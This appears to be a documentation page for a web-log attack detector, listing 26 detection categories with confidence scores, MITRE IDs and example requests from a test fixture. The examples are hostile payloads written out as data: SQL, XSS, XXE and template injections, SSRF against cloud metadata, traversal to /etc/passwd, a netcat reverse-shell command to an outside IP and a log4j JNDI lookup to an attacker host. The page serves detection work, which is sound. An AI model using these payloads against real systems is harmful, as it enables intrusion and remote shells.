26 Categories
Every row: confidence (the score of its fixture example), description, and a real example from testdata/sample.log (not invented). All examples use TEST-NET IPs and are reproducible via caddy-analyze --detect testdata/sample.log. MITRE IDs verified in MITRE & Sigma.
Confidence
Highest per-category patterns score 9–10 (e.g. UNION SELECT), heuristics score 6–7. Guard default --detect-confidence 8 blocks only ≥8. Lowering it to 6 allows more pattern-based blocks; 0 disables only pattern-based blocks, not other guard controls. Behavioral categories (ua_rotation, object_enumeration, beaconing) need ≥10 samples.| # | Category | Confidence | Description | Example (from fixture) | MITRE |
|---|---|---|---|---|---|
| 1 | sql_injection | 8 | SQL keywords + tautology | /login.php?user=admin'+OR+'1'%3D'1'--+ | T1190 |
| 2 | nosql_injection | 8 | MongoDB operators | /api/login?username[$ne]=invalid | T1190 |
| 3 | xss | 8 | Script tags, event handlers, JS URIs | /search?q=%3Cscript%3Ealert(1)%3C/script%3E | T1059.007, T1189 |
| 4 | ssti | 8 | Template probes (Jinja, FreeMarker) | /profile?name={{7*7}} | T1190 |
| 5 | ssrf | 10 | Cloud metadata, private IP, loopback | /fetch?url=http://169.254.169.254/latest/meta-data/ | T1190 |
| 6 | rce | 9 | Shell, reverse shell, LOLBins, deserialization | /cgi-bin/bash?cmd=nc+-e+/bin/sh+185.220.101.5+4444 | T1059, T1190 |
| 7 | path_traversal | 8 | Directory traversal, null byte, /proc, win.ini | /view?file=../../../../etc/passwd | T1083 |
| 8 | lfi_wrapper_abuse | 9 | PHP stream wrappers | /?file=php://filter/convert.base64-encode/resource=index.php | T1083, T1190 |
| 9 | graphql_introspection | 8 | Schema discovery queries | /graphql?query={__schema{types{...}}} | T1595.002 |
| 10 | log4j_jndi | 10 | JNDI lookup, env/sys access | User-Agent: ${jndi:ldap://evil.example.com/a} | T1190, T1059 |
| 11 | sensitive_file_probe | 8 | .env, git, id_rsa, dumps, .sql | /.env | T1083, T1552.001 |
| 12 | admin_probe | 8 | phpMyAdmin, Spring Actuator, H2, heapdump | /phpmyadmin/ | T1595.002 |
| 13 | wordpress_probe | 8 | xmlrpc, wp-content, plugins | /xmlrpc.php?rsd | T1595.002 |
| 14 | cgi_probe | 7 | cgi-bin, .cgi/.pl/.fcgi | /cgi-bin/test.cgi | T1595.002 |
| 15 | scanner | 9 | 30+ UA sigs (nikto, sqlmap, nuclei…) | User-Agent: nikto/2.5.0 | T1595 |
| 16 | xxe | 8 | ENTITY SYSTEM, XInclude, jar:// | /api/xml?xml=%3C!DOCTYPE+foo+[<!ENTITY+xxe+SYSTEM+… | T1190 |
| 17 | open_redirect | 7 | ?url=https://, //evil, @ bypass | /login?next=https://evil.example.com/ | T1566.002 |
| 18 | ldap_injection | 8 | Filter chars (&, |, (), *) | /search?filter=(uid=*)) | T1190 |
| 19 | xpath_injection | 7 | XPath tautology, ]|//* | /search?q='%20OR%20'1'%3D'1 | T1190 |
| 20 | crlf_injection | 8 | Set-Cookie/Location via %0d%0a + ghost bits | /redirect?to=/home%0d%0aSet-Cookie:%20evil=1 | T1190, T1059 |
| 21 | prototype_pollution | 8 | __proto__ / constructor.prototype | /api/update?__proto__[isAdmin]=1 | T1190, T1059.007 |
| 22 | ssi_injection | 8 | <!--#exec cmd=, #include virtual= | /page?name=%3C!--%23exec+cmd=%22ls%22--%3E | T1190, T1059 |
| 23 | ua_rotation | 6 | ≥10 distinct UAs from one IP (heuristic) | 11 UAs on /?r=0…10 from 198.51.100.32 | T1595.001 |
| 24 | jwt_abuse | 10 | alg:none, kid traversal, leaked token | Authorization: Bearer eyJhbGciOiJub25l… | T1550.001, T1190 |
| 25 | object_enumeration | 7 | Sequential IDs per path template (BOLA) | /api/users/1 … /api/users/15 from 198.51.100.35 | T1595.002, T1190 |
| 26 | beaconing | 6 | Regular intervals per path, jitter CV<0.25 | /api/heartbeat every 60s ×12 from 198.51.100.36 | T1071.001, T1573 |
All examples are from testdata/sample.log via testdata/generate.py (deterministic, TEST-NET). Verify locally: caddy-analyze --detect testdata/sample.log should fire all 26. Confidence shown is for that exact fixture payload; individual patterns currently range from 2–10 — see evasion & Sigma for gate/markers.
No invented examples
Every example above was read from testdata/generate.py lines 107–217. If a future category has no fixture, this page will say “no fixture example yet” instead of inventing one.